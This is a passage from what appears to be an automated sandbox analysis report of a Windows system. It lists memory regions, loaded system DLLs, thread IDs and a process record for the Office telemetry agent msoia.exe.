	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2603
	        start_va = 0x7fef95d0000
	          end_va = 0x7fef97ecfff
	     entry_point = 0x7fef95d0000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2604
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2605
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2606
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2607
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2608
	        start_va = 0x7fefb360000
	          end_va = 0x7fefb370fff
	     entry_point = 0x7fefb360000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2609
	        start_va = 0x7fefb380000
	          end_va = 0x7fefb39bfff
	     entry_point = 0x7fefb380000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2610
	        start_va = 0x7fefb3a0000
	          end_va = 0x7fefb401fff
	     entry_point = 0x7fefb3a0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2611
	        start_va = 0x7fefb790000
	          end_va = 0x7fefb7c4fff
	     entry_point = 0x7fefb790000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2612
	        start_va = 0x7fefbc60000
	          end_va = 0x7fefbe53fff
	     entry_point = 0x7fefbc60000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2613
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2614
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2615
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2616
	        start_va = 0x7fefd770000
	          end_va = 0x7fefd899fff
	     entry_point = 0x7fefd770000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2617
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2618
	        start_va = 0x7feff060000
	          end_va = 0x7feff2b8fff
	     entry_point = 0x7feff060000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2619
	        start_va = 0x7feff2c0000
	          end_va = 0x7feff437fff
	     entry_point = 0x7feff2c0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2620
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2621
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2622
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2623
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2624
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2625
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2626
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2627
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2628
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2629
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2630
	        start_va = 0xda0000
	          end_va = 0xda0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000da0000"
	        filename = ""

Region:
	              id = 2631
	        start_va = 0xdb0000
	          end_va = 0xdb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000db0000"
	        filename = ""

Region:
	              id = 2632
	        start_va = 0x18e0000
	          end_va = 0x199ffff
	     entry_point = 0x18e0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2633
	        start_va = 0x2af0000
	          end_va = 0x2b6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002af0000"
	        filename = ""

Region:
	              id = 2634
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2635
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2636
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2637
	        start_va = 0x7fef71f0000
	          end_va = 0x7fef71fafff
	     entry_point = 0x7fef71f0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2638
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7218fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2639
	        start_va = 0x7fef7220000
	          end_va = 0x7fef7234fff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2640
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2641
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2642
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2643
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2644
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2645
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2646
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2647
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2648
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2649
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2650
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2651
	        start_va = 0xdc0000
	          end_va = 0xdc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000dc0000"
	        filename = ""

Region:
	              id = 2652
	        start_va = 0x21c0000
	          end_va = 0x22bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021c0000"
	        filename = ""

Region:
	              id = 2653
	        start_va = 0x2730000
	          end_va = 0x282ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002730000"
	        filename = ""

Region:
	              id = 2654
	        start_va = 0x2b90000
	          end_va = 0x2c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b90000"
	        filename = ""

Region:
	              id = 2655
	        start_va = 0x2c90000
	          end_va = 0x2e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c90000"
	        filename = ""

Region:
	              id = 2656
	        start_va = 0x2e90000
	          end_va = 0x328ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e90000"
	        filename = ""

Region:
	              id = 2657
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2658
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2659
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2660
	        start_va = 0x7fefc8d0000
	          end_va = 0x7fefc91bfff
	     entry_point = 0x7fefc8d0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2661
	        start_va = 0x7fefca20000
	          end_va = 0x7fefca76fff
	     entry_point = 0x7fefca20000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2662
	        start_va = 0x7fefce00000
	          end_va = 0x7fefce21fff
	     entry_point = 0x7fefce00000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2663
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce7dfff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2664
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2665
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2666
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2667
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""


Thread:
	id = 194
	os_tid = 0x6bc


Thread:
	id = 235
	os_tid = 0x818


Thread:
	id = 236
	os_tid = 0x4e8


Thread:
	id = 237
	os_tid = 0x698


Thread:
	id = 238
	os_tid = 0x514


Thread:
	id = 239
	os_tid = 0xadc


Thread:
	id = 240
	os_tid = 0x638


Thread:
	id = 241
	os_tid = 0x808


Thread:
	id = 242
	os_tid = 0x828


Thread:
	id = 243
	os_tid = 0x838


Thread:
	id = 244
	os_tid = 0x848


Thread:
	id = 245
	os_tid = 0x228


Thread:
	id = 248
	os_tid = 0x7d0


Thread:
	id = 250
	os_tid = 0xa70


Process:
	id = "14"
	image_name = "msoia.exe"
	filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"
	page_root = "0x16b14000"
	os_pid = "0x57c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0x84c"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2123
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2124
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2125
	        start_va = 0x1d0000
	          end_va = 0x2cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2126
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2127
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2128
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2129
	        start_va = 0x13f2e0000
	          end_va = 0x13f621fff
	     entry_point = 0x13f2e0000
	     region_type = mapped_file
	            name = "msoia.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe")

Region:
	              id = 2130
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2131
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2132
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 2133
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 2199
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2200
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2201
	        start_va = 0x40000
	          end_va = 0xa6fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2202
	        start_va = 0xb0000
	          end_va = 0xb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 2203
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2204
	        start_va = 0x180000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 2205
	        start_va = 0x2d0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 2206
	        start_va = 0x3d0000
	          end_va = 0x4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 2207
	        start_va = 0x4d0000
	          end_va = 0x657fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004d0000"
	        filename = ""

Region:
	              id = 2208
	        start_va = 0x660000
	          end_va = 0x7e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000660000"
	        filename = ""

Region:
	              id = 2209
	        start_va = 0x7f0000
	          end_va = 0x1beffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007f0000"
	        filename = ""

Region:
	              id = 2210
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2211
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2212
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2213
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2214
	        start_va = 0x7fef7a70000
	          end_va = 0x7fef7c59fff
	     entry_point = 0x7fef7a70000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 2215
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7e99fff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 2216
	        start_va = 0x7fef9b10000
	          end_va = 0x7fef9b12fff
	     entry_point = 0x7fef9b10000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 2217
	        start_va = 0x7fef9b20000
	          end_va = 0x7fef9b22fff
	     entry_point = 0x7fef9b20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 2218
	        start_va = 0x7fef9b30000
	          end_va = 0x7fef9b32fff
	     entry_point = 0x7fef9b30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 2219
	        start_va = 0x7fef9b40000
	          end_va = 0x7fef9b42fff
	     entry_point = 0x7fef9b40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 2220
	        start_va = 0x7fef9b50000
	          end_va = 0x7fef9b54fff
	     entry_point = 0x7fef9b50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 2221
	        start_va = 0x7fef9b60000
	          end_va = 0x7fef9b64fff
	     entry_point = 0x7fef9b60000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 2222
	        start_va = 0x7fef9b70000
	          end_va = 0x7fef9b72fff
	     entry_point = 0x7fef9b70000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 2223
	        start_va = 0x7fef9b80000
	          end_va = 0x7fef9c1bfff
	     entry_point = 0x7fef9b80000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")

Region:
	              id = 2224
	        start_va = 0x7fef9c20000
	          end_va = 0x7fef9c23fff
	     entry_point = 0x7fef9c20000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 2225
	        start_va = 0x7fef9c30000
	          end_va = 0x7fef9c33fff
	     entry_point = 0x7fef9c30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 2226
	        start_va = 0x7fef9c40000
	          end_va = 0x7fef9c42fff
	     entry_point = 0x7fef9c40000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2227
	        start_va = 0x7fef9c50000
	          end_va = 0x7fef9c53fff
	     entry_point = 0x7fef9c50000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2228
	        start_va = 0x7fef9c60000
	          end_va = 0x7fef9c62fff
	     entry_point = 0x7fef9c60000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2229
	        start_va = 0x7fef9c70000
	          end_va = 0x7fef9c72fff
	     entry_point = 0x7fef9c70000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
